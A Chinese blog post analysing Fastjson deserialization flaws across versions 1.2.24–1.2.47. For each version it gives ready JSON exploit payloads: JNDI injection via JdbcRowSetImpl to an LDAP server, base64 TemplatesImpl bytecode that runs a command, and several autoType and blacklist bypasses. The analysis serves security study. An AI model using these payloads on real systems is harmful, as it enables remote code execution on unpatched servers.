Fastjson簡介
Fastjson是Alibaba開發的Java語言撰寫的高性能JSON庫,用于將資料在JSON和Java Object之間互相轉換,提供兩個主要介面JSON.toJSONString和JSON.parseObject/JSON.parse來分別實作序列化和反序列化操作,
漏洞原理
這里沒有細說fastjson發序列化的機制,總結起來就是以下內容:
-
反序列化時JSON字串@type的值指定了要將此JSON字串實體化為什么物件,在此程序中fastjson呼叫了setter/getter,其中以get/set開頭且滿足一下條件都會被呼叫到:
- 方法名稱長度大于等于4
- 非靜態方法
- 方法名以get開頭,且第四個字符為大寫字母如getAge
- 方法無需傳參
- 方法回傳值集成自Collection,Map,AtomicBoolean,AtomicInteger,AtomicLong的其中一種
-
對于未提供setter的私有Field,fastjson在反序列化時需要顯式提供引數
Feature.SupportNonPublicField才會正確賦值 -
fastjson在為類屬性尋找getter/setter方法時,呼叫函式com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()方法,會忽略
_字串
所以說fastjson反序列化漏洞利用的點就是在反序列化時會自動呼叫@type指定類中的get/set方法,然后尋找這些可被呼叫的方法中能走到可以執行惡意代碼或者加載惡意類的
1.1.22-1.2.24
匯入該版本依賴

JdbcRowSetImpl利用鏈
com.sun.rowset.JdbcRowSetImpl類中的setAutoCommit()函式呼叫了connect()函式,該函式中存在jndi注入,且getDataSourceName()獲取的DataSourceName值也是可控的

撰寫exp,構造一下payload
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/ut3kwl","autoCommit":true}

指定type為JdbcRowSetImpl類,傳入dataSourceName和autoCommit可以呼叫到setAutoCommit()和setDataSourceName()方法,通過JNDI-Injection-Exploit生成JNDI鏈接,實作jndi注入

TemplatesImpl利用鏈
因為com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl類里面都是私有變數該鏈在反序列化時需要加上Feature.SupportNonPublicField引數
TemplatesImpl類中getOutputProperties()方法呼叫了newTransformer()

newTransformer()呼叫了getTransletInstance()

getTransletInstance()呼叫了defineTransletClasses()

最后defineTransletClasses()有回圈類加載的程序,引數是_bytecodes[i],這里就是利用點,接下來需要解決呼叫程序中的問題

1.首先是開頭說的加上Feature.SupportNonPublicField引數
2.然后是getTransletInstance()函式中_name不為null,_class為null
3._bytecodes[]中加載的類需為AbstractTranslet的子類
除此之外還有fastjson本身的功能特點:
4.fastjson在為類屬性尋找getter/setter方法時,呼叫函式com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()方法,會忽略_ -字串
5.fastjson 在反序列化時,如果Field型別為byte[],將會呼叫com.alibaba.fastjson.parser.JSONScanner#bytesValue進行base64解碼,在序列化時也會進行base64編碼
所以_bytecodes傳入原類內容為

將其轉為位元組碼,然后base64編碼后,最終payload為
點擊查看代碼
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJAoAAwAPBwARBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAR0ZXN0AQAMSW5uZXJDbGFzc2VzAQAiTGNvbS9oZWxsby9kZW1vL2pzb24vSkRLN3UyMSR0ZXN0OwEAClNvdXJjZUZpbGUBAAxKREs3dTIxLmphdmEMAAQABQcAEwEAIGNvbS9oZWxsby9kZW1vL2pzb24vSkRLN3UyMSR0ZXN0AQAQamF2YS9sYW5nL09iamVjdAEAG2NvbS9oZWxsby9kZW1vL2pzb24vSkRLN3UyMQEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACEKACIADwAhAAIAIgAAAAAAAgABAAQABQABAAYAAAAvAAEAAQAAAAUqtwAjsQAAAAIABwAAAAYAAQAAACoACAAAAAwAAQAAAAUACQAMAAAACAAUAAUAAQAGAAAAFgACAAAAAAAKuAAaEhy2ACBXsQAAAAAAAgANAAAAAgAOAAsAAAAKAAEAAgAQAAoACQ=="],'_name':'exp','_tfactory':{ },"_outputProperties":{ }}

1.2.25-1.2.41
匯入該版本依賴

該版本添加了黑名單

且添加了autoTypeSupport引數來控制能否反序列化,默認不能,所以利用范圍變小了,如果能反序列化的話會呼叫checkAutoType()函式檢查

在autoTypeSupport開啟的情況下先通過白名單進行判斷,如果符合的話就進入TypeUtils.loadClass,然后在通過黑名單進行判斷,如果在黑名單中就直接拋出例外,否則進入到TypeUtils.loadClass中

然后下面有判斷autoTypeSupport是否為true,不為true就檢查黑名單后拋例外,為true會再呼叫一次TypeUtils.loadClass


再看TypeUtils.loadClass(),在TypeUtils.loadClass中,可以看到對[ L ;進行了處理,而其中在處理L ; 的時候存在了邏輯漏洞,可以在@type的前后分別加上L ;來進行繞過
payload如下
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //開啟autoTypeSupport
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://127.0.0.1:1389/ut3kwl","autoCommit":true}

1.2.42
匯入該版本依賴

黑名單變成了HashCode

checkAutoType()中進行了L;截取,然后就直接進入了TypeUtils.loadClass

所以前后雙寫L和;就可繞過
payload:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //開啟autoTypeSupport
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://127.0.0.1:1389/ut3kwl","autoCommit":true}

1.2.43
匯入該版本依賴
添加判斷,如果以LL開頭直接拋例外

可以使用TypeUtils.loadClass中對于[的處理來繞過
payload:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //開啟autoTypeSupport
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://127.0.0.1:1389/ut3kwl","autoCommit":true}//“[{”不加會出例外

ps:該payload在1.2.25 <= fastjson <= 1.2.43都可以使用
1.2.45
存在組件漏洞,需要有mybatis組件
payload如下:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //開啟autoTypeSupport
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://127.0.0.1:1389/g0tvin"}}
1.2.47
匯入該版本依賴

在此版本中可以在不開啟autoTypeSupport的情況下,觸發漏洞
在checkAutoType()中,當autoTypeSupport為false時,會繼續執行TypeUtils.getClassFromMapping和this.deserializers.findClass尋找類,如果找到了就回傳clazz

在ParserConfig類初始化時會執行initDeserializers方法,會向deserializers中添加許多的類,類似一種快取,其中會添加這么一個類this.deserializers.put(Class.class, MiscCodec.instance);

MiscCodec類中,有一個方法deserialze,而在進行json反序列化時會呼叫這個方法,在方法內會對clazz進行判斷,當類為Class.class也就是java.lang.Class類時,會進入到TypeUtils.loadClass中

在TypeUtils.loadClass中,如果cache為true則會將className放到mapping中,其中cache默認為true

className為傳進來的strVal,在deserialze中,strVal由objVal強制轉換而來

objVal是在parser.parse()中截取而來,且引數名必須為val,否則會拋出例外,也就是說可以通過反序列化往mapping中添加任何類,這樣的話添加com.sun.rowset.JdbcRowSetImpl類,從而繞過autoTypeSupport的和黑名單的限制,然后再次傳遞json去觸發JdbcRowSetImpl的JNDI注入
payload如下:
{
"1": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"2": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:1389/g0tvin",
"autoCommit": true
}
}

以上都在jdk8u66測驗成功
It is never too late to learn 個人博客:yiaho.cn轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/500785.html
標籤:其他
上一篇:在線生成介面檔案
